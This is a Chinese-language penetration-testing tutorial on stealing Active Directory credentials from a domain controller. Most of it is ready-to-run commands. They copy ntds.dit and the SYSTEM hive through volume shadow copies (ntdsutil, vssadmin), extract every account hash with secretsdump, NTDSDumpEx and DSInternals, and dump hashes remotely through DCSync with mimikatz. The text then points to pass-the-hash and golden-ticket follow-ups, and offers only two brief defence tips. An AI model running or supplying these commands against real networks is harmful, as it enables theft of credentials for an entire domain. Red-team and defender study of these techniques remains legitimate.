域控账号密码抓取
域控账号密码抓取
文章目录
- 域控账号密码抓取
- 一、域控账号密码文件NTDS介绍
- 1.1 NTDS.DIT是什么?
- 1.2 读取NTDS的三种方式
- 二、卷影拷贝提取NTDS文件(核心方法)---cs工具使用system权限
- 2.1 什么是卷影拷贝(VSS)?
- 2.2 使用ntdsutil工具(分四步)(自带)
- 2.3 使用vssadmin工具(更简单)(自带)
- 2.4 其他工具
- 三、离线读取NTDS中的Hash值
- 3.1 准备工作
- 3.2 常用工具
- 四、在线读取Hash值(直接操作域控)---基于域控同步协议
- 4.1 常用方法
- 五、Dcsync攻击原理与利用
- 5.1 什么是Dcsync?
- 5.2 攻击流程
- 5.3 防御建议
一、域控账号密码文件NTDS介绍
1.1 NTDS.DIT是什么?
- 位置:
C:\Windows\NTDS\ntds.dit
- 作用:存储域内所有用户/组的账号密码信息(包括哈希值),类似域控的"数据库"。
- 保护机制:
- 文件被系统锁定,普通用户无法直接访问。
- 哈希值通过SYSTEM注册表中的密钥加密。
1.2 读取NTDS的三种方式
- 离线读取:将文件复制到本地分析。
- 在线读取:直接在域控服务器上运行工具。
- 远程读取:通过Dcsync协议远程获取(无需登录域控)。
二、卷影拷贝提取NTDS文件(核心方法)—cs工具使用system权限
2.1 什么是卷影拷贝(VSS)?
- 微软提供的文件快照技术,可备份被锁定的文件(如ntds.dit)。
- 常用工具:
ntdsutil
、vssadmin
、PowerShell脚本等。
2.2 使用ntdsutil工具(分四步)(自带)
# 1. 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit# 2. 挂载快照(需替换快照ID)
ntdsutil snapshot "mount {快照ID}" quit quit# 3. 复制文件(从快照路径复制到本地)
copy C:\$SNAP_时间_VOLUMEC$\Windows\NTDS\ntds.dit C:\目标路径# 4. 删除快照
ntdsutil snapshot "unmount {快照ID}" "delete {快照ID}" quit quit
2.3 使用vssadmin工具(更简单)(自带)
# 1. 创建c盘快照
vssadmin create shadow /for=c:# 2. 复制文件(从卷影副本路径)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX\windows\NTDS\ntds.dit C:\目标路径# 3. 删除快照
vssadmin delete shadows /for=c: /quiet
2.4 其他工具
- IFM模式:
ntdsutil "ac i ntds" ifm "create full C:/test" quit quit
(自动生成ntds.dit和SYSTEM文件) 确保C:/test存在 - PowerShell脚本:
Copy-VSS.ps1
、Invoke-NinjaCopy
(绕过文件锁定直接复制) - vssown.vbs(PS):脚本化操作,需手动启动 VSS 服务、创建 / 删除快照。
三、离线读取NTDS中的Hash值
3.1 准备工作
- 获取两个文件:
ntds.dit
+SYSTEM
(含有密钥)(通过reg save hklm\system C:\system.hive
导出)
3.2 常用工具
# 1. secretsdump(推荐)
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL# 2. NTDSDumpEx(简单易用)
NTDSDumpEx.exe -d ntds.dit -s system.hive -o hash.txt# 3. DSInternals(PowerShell)
Import-Module DSInternals
$key = Get-Bootkey -SystemHivePath 'system.hive'
Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File hash.txt
四、在线读取Hash值(直接操作域控)—基于域控同步协议
4.1 常用方法
# 1. Mimikatz(需管理员权限)
mimikatz.exe "lsadump::dcsync /domain:abc.com /all /csv"# 2. secretsdump(远程读取)
secretsdump.exe domain/username:password@192.168.1.1# 3. Invoke-DCSync(PowerShell脚本)
Import-Module Invoke-DCSync.ps1
Invoke-DCSync
五、Dcsync攻击原理与利用
5.1 什么是Dcsync?
- 原理:模拟域控之间的数据同步协议(DRS),直接远程请求用户哈希。
- 权限要求:域管理员、Domain Admins组、Enterprise Admins组成员或域控计算机账户。 域控的Administrator和system也可以
5.2 攻击流程
-
获取高权限账户:如通过钓鱼攻击获取域管权限。
-
执行Dcsync:
mimikatz.exe "lsadump::dcsync /domain:abc.com /user:administrator"
-
导出哈希后利用:进行Pass-the-Hash攻击或制作黄金票据。
5.3 防御建议
- 定期审计高权限账户。
- 开启日志监控(事件ID 4662)。